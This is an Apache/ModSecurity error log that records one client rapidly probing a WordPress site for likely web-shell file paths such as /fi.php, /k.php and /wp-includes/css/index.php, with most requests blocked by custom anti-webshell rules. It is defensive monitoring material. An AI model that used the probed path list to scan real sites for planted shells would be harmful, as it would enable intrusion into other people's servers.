[Fri Apr 24 02:18:48.677898 2026] [:error] [pid 43083:tid 43088] [client 74.234.74.247:1851] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepiiDC5hrvNXosL83KyNgAAAMM"]
[Fri Apr 24 02:18:49.259260 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:1992] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepiiYV5EysYcTLjmwhBAgAAAco"]
[Fri Apr 24 02:18:49.878460 2026] [:error] [pid 65000:tid 65055] [client 74.234.74.247:1734] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepiib6vRb9j6psK2ZaOHgAAAhY"]
[Fri Apr 24 02:18:50.406836 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:1802] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepiir6vRb9j6psK2ZaOHwAAAhQ"]
[Fri Apr 24 02:18:50.976386 2026] [:error] [pid 42973:tid 43059] [client 74.234.74.247:1736] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepiim6I0QqmmmLTHE2LCQAAAJA"]
[Fri Apr 24 02:18:51.538701 2026] [:error] [pid 43083:tid 43095] [client 74.234.74.247:1846] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepiizC5hrvNXosL83KyOwAAAMo"]
[Fri Apr 24 02:18:52.127187 2026] [:error] [pid 42972:tid 43027] [client 74.234.74.247:2014] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepijMOAb-3sOknsk4fNYAAAAEs"]
[Fri Apr 24 02:18:52.635416 2026] [:error] [pid 65000:tid 65056] [client 74.234.74.247:2044] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepijL6vRb9j6psK2ZaOKgAAAhc"]
[Fri Apr 24 02:18:53.272601 2026] [:error] [pid 25635:tid 25641] [client 74.234.74.247:1826] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepijcRxv6UsgRGKB3JTzgAAAQI"]
[Fri Apr 24 02:18:53.925380 2026] [:error] [pid 65000:tid 65055] [client 74.234.74.247:1789] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepijb6vRb9j6psK2ZaOMAAAAhY"]
[Fri Apr 24 02:18:54.447547 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:1767] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepijr6vRb9j6psK2ZaOMwAAAgk"]
[Fri Apr 24 02:18:55.019625 2026] [:error] [pid 42973:tid 43064] [client 74.234.74.247:1845] [client 74.234.74.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aepij26I0QqmmmLTHE2LEwAAAJU"]
[Fri Apr 24 02:18:55.654305 2026] [:error] [pid 59700:tid 59709] [client 74.234.74.247:1860] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aepij5XyGZJFeAIDWtl8xgAAAUc"]
[Fri Apr 24 02:18:56.297340 2026] [:error] [pid 64998:tid 65004] [client 74.234.74.247:1795] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aepikIV5EysYcTLjmwhBDwAAAcI"]
[Fri Apr 24 02:18:56.886897 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:1980] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aepikL6vRb9j6psK2ZaONgAAAgE"]
[Fri Apr 24 02:18:57.567962 2026] [:error] [pid 42971:tid 43004] [client 74.234.74.247:1873] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepikTEP2_5RswrH8bFUXgAAABI"]
[Fri Apr 24 02:18:58.262705 2026] [:error] [pid 25635:tid 25654] [client 74.234.74.247:1872] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepiksRxv6UsgRGKB3JTzwAAAQ8"]
[Fri Apr 24 02:18:58.824394 2026] [:error] [pid 42972:tid 43028] [client 74.234.74.247:1945] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepiksOAb-3sOknsk4fNiQAAAEw"]
[Fri Apr 24 02:18:59.345558 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:1832] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepik76vRb9j6psK2ZaOOwAAAgs"]
[Fri Apr 24 02:18:59.910447 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:1855] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepik4V5EysYcTLjmwhBGAAAAdA"]
[Fri Apr 24 02:19:01.322910 2026] [:error] [pid 65000:tid 65055] [client 74.234.74.247:1797] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepilb6vRb9j6psK2ZaOSgAAAhY"]
[Fri Apr 24 02:19:01.875835 2026] [:error] [pid 64967:tid 64982] [client 74.234.74.247:1667] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepilYAV4GfOOdX8QzqcJwAAAY0"]
[Fri Apr 24 02:19:02.384595 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:1783] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepilr6vRb9j6psK2ZaOVgAAAgg"]
[Fri Apr 24 02:19:02.909649 2026] [:error] [pid 42973:tid 43048] [client 74.234.74.247:1775] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepilm6I0QqmmmLTHE2LGwAAAIU"]
[Fri Apr 24 02:19:03.449091 2026] [:error] [pid 42973:tid 43064] [client 74.234.74.247:1974] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepil26I0QqmmmLTHE2LHwAAAJU"]
[Fri Apr 24 02:19:03.982050 2026] [:error] [pid 46953:tid 46976] [client 74.234.74.247:1770] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepil0nlpdHh-P6wKbp-9wAAAlQ"]
[Fri Apr 24 02:19:04.539507 2026] [:error] [pid 59700:tid 59719] [client 74.234.74.247:1914] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepimJXyGZJFeAIDWtl8yQAAAVE"]
[Fri Apr 24 02:19:05.074008 2026] [:error] [pid 43083:tid 43107] [client 74.234.74.247:1764] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aepimTC5hrvNXosL83KyRgAAANY"]
[Fri Apr 24 02:19:05.639533 2026] [:error] [pid 25635:tid 25642] [client 74.234.74.247:1805] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aepimcRxv6UsgRGKB3JT0QAAAQM"]
[Fri Apr 24 02:19:06.205550 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/ww2.php
[Fri Apr 24 02:19:06.476263 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/ww3.php
[Fri Apr 24 02:19:06.759803 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/bal.php
[Fri Apr 24 02:19:07.041201 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Fri Apr 24 02:19:07.317449 2026] [:error] [pid 65000:tid 65055] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/gssdd.php
[Fri Apr 24 02:19:07.864929 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Fri Apr 24 02:19:08.416591 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php
[Fri Apr 24 02:19:08.710934 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Fri Apr 24 02:19:08.996905 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:1724] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Fri Apr 24 02:19:09.261574 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:1724] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aepinb6vRb9j6psK2ZaOkQAAAgc"]
[Fri Apr 24 02:19:09.782509 2026] [:error] [pid 42972:tid 43020] [client 74.234.74.247:1786] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aepincOAb-3sOknsk4fNrAAAAEQ"]
[Fri Apr 24 02:19:10.316753 2026] [:error] [pid 42973:tid 43060] [client 74.234.74.247:1833] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aepinm6I0QqmmmLTHE2LJgAAAJE"]
[Fri Apr 24 02:19:10.847817 2026] [:error] [pid 46953:tid 46975] [client 74.234.74.247:1824] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aepinknlpdHh-P6wKbp--gAAAlM"]
[Fri Apr 24 02:19:11.389779 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:1819] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepin76vRb9j6psK2ZaOnwAAAhg"]
[Fri Apr 24 02:19:11.926786 2026] [:error] [pid 42973:tid 43051] [client 74.234.74.247:1892] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepin26I0QqmmmLTHE2LKAAAAIg"]
[Fri Apr 24 02:19:12.496928 2026] [:error] [pid 42973:tid 43048] [client 74.234.74.247:1917] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepioG6I0QqmmmLTHE2LLAAAAIU"]
[Fri Apr 24 02:19:13.042282 2026] [:error] [pid 64998:tid 65002] [client 74.234.74.247:1695] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepioYV5EysYcTLjmwhBIAAAAcA"]
[Fri Apr 24 02:19:13.602701 2026] [:error] [pid 59700:tid 59711] [client 74.234.74.247:1837] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aepioZXyGZJFeAIDWtl8zQAAAUk"]
[Fri Apr 24 02:19:14.155916 2026] [:error] [pid 42973:tid 43050] [client 74.234.74.247:1730] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aepiom6I0QqmmmLTHE2LLwAAAIc"]
[Fri Apr 24 02:19:14.661595 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:1801] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aepiosOAb-3sOknsk4fNuQAAAEk"]
[Fri Apr 24 02:19:15.228605 2026] [:error] [pid 46953:tid 46965] [client 74.234.74.247:1728] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aepio0nlpdHh-P6wKbp--wAAAkk"]
[Fri Apr 24 02:19:15.768662 2026] [:error] [pid 59700:tid 59726] [client 74.234.74.247:1768] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aepio5XyGZJFeAIDWtl8zgAAAVg"]
[Fri Apr 24 02:19:16.337222 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:1758] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aepipL6vRb9j6psK2ZaOtwAAAhA"]
[Fri Apr 24 02:19:16.864743 2026] [:error] [pid 46953:tid 46968] [client 74.234.74.247:1664] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aepipEnlpdHh-P6wKbp-_gAAAkw"]
[Fri Apr 24 02:19:17.399094 2026] [:error] [pid 64998:tid 65010] [client 74.234.74.247:6234] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aepipYV5EysYcTLjmwhBMAAAAcg"]
[Fri Apr 24 02:19:17.910021 2026] [:error] [pid 59700:tid 59722] [client 74.234.74.247:1729] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aepipZXyGZJFeAIDWtl8zwAAAVQ"]
[Fri Apr 24 02:19:18.481628 2026] [:error] [pid 46953:tid 46963] [client 74.234.74.247:1785] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aepipknlpdHh-P6wKbp-_wAAAkc"]
[Fri Apr 24 02:19:19.067637 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:1766] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aepip4V5EysYcTLjmwhBOAAAAdA"]
[Fri Apr 24 02:19:19.644678 2026] [:error] [pid 42973:tid 43046] [client 74.234.74.247:1777] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aepip26I0QqmmmLTHE2LNwAAAIM"]
[Fri Apr 24 02:19:20.233288 2026] [:error] [pid 46953:tid 46970] [client 74.234.74.247:1815] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aepiqEnlpdHh-P6wKbp_AAAAAk4"]
[Fri Apr 24 02:19:20.797160 2026] [:error] [pid 64998:tid 65017] [client 74.234.74.247:1751] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aepiqIV5EysYcTLjmwhBPQAAAc8"]
[Fri Apr 24 02:19:21.349487 2026] [:error] [pid 64967:tid 64989] [client 74.234.74.247:1817] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aepiqYAV4GfOOdX8QzqcLAAAAZQ"]
[Fri Apr 24 02:19:21.970243 2026] [:error] [pid 64998:tid 65002] [client 74.234.74.247:1822] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aepiqYV5EysYcTLjmwhBQAAAAcA"]
